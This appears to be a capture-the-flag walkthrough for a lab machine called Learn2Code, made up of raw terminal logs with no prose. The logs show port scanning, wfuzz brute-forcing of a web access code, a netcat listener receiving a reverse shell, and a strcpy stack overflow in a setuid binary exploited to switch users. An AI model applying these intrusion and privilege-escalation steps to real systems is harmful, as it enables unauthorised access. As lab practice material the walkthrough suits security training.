┌──(root㉿kakeru)-[~/tmp] └─# nmap -A 192.168.58.164 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-2714:37 CST Nmap scan report for bogon (192.168.58.164) Host is up (0.0019s latency). Not shown:65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Access system |_http-server-header: Apache/2.4.38 (Debian) MAC Address:0E:EA:64:0E:8F:AB (Unknown) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15-5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2-7.5 (Linux 5.6.3) Network Distance:1 hop
TRACEROUTE HOP RTT ADDRESS 11.89 ms bogon (192.168.58.164)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in9.44 seconds
┌──(root㉿kakeru)-[~/tmp] └─# wfuzz -c -z file,tmp.txt -u "http://192.168.58.164/includes/php/access.php" \ -X POST -d "action=check_code&code=FUZZ" \ -H "Content-Type: application/x-www-form-urlencoded" \ --hw 1 -t 100 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.168.58.164/includes/php/access.php Total requests: 1000000
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000012774: 200 0 L 1 W 5 Ch "012773" zsh: killed wfuzz -c -z file,tmp.txt -u "http://192.168.58.164/includes/php/access.php" -
┌──(root㉿kakeru)-[~/tmp] └─# wfuzz -c -z file,tmp -u "http://192.168.58.164/includes/php/access.php" \ -X POST -d "action=check_code&code=FUZZ" \ -H "Content-Type: application/x-www-form-urlencoded" \ --hw 1 --hc 5 -t 100 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.168.58.164/includes/php/access.php Total requests: 87635
===================================================================== ID Response Lines Word Chars Payload =====================================================================
┌──(root㉿kakeru)-[~/tmp] └─# wfuzz -c -z file,tmp -u "http://192.168.58.164/includes/php/access.php" \ -X POST -d "action=check_code&code=FUZZ" \ -H "Content-Type: application/x-www-form-urlencoded" \ --hw 1 --hc 5 -t 100 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.168.58.164/includes/php/access.php Total requests: 87000
===================================================================== ID Response Lines Word Chars Payload =====================================================================
┌──(root㉿kakeru)-[~/tmp] └─# nc -lp 1234 bash: cannot set terminal process group (505): Inappropriate ioctl for device bash: no job control in this shell www-data@Learn2Code:/var/www/html/includes/php$
int __fastcall main(int argc, constchar **argv, constchar **envp) { char dest[76]; // [rsp+10h] [rbp-50h] BYREF int v5; // [rsp+5Ch] [rbp-4h]
if ( argc == 1 ) errx(1, "please specify an argument\n", envp); printf("Change the 'modified' variable value to '0x61626364' to be a learner"); v5 = 0; strcpy(dest, argv[1]); if ( v5 == 1633837924 ) { setuid(0x3E8u); setgid(0x3E8u); system("/bin/bash"); } else { printf("Try again, you got 0x%08x\n", v5); } return0; }
www-data@Learn2Code:/tmp$ /usr/bin/MakeMeLearner 1633837924 Change the'modified'variablevalueto'0x61626364'to be a learnerTry again, you got 0x00000000
hange the'modified'variablevalueto'0x61626364'to be a learnerTry again, you got 0x00666164 <flkasjdlkhjsdhhuihsjfnkjadsnfkjdhjskkccsksdfksdjkfhasdkfajdfasdfssdfasds Change the'modified'variablevalueto'0x61626364'to be a learnerTry again, you got 0x00000000 <kljflkasjdlkhjsdhhuihsjfnkjadsnfkjdhjskkccsksdfksdjkfhasdkfajdfasdfssdfasdsabcd Change the'modified'variablevalueto'0x61626364'to be a learnerTry again, you got 0x64636261 <lkasjdlkhjsdhhuihsjfnkjadsnfkjdhjskkccsksdfksdjkfhasdkfajdfasdfssdfasdsdcba learner@Learn2Code:/tmp$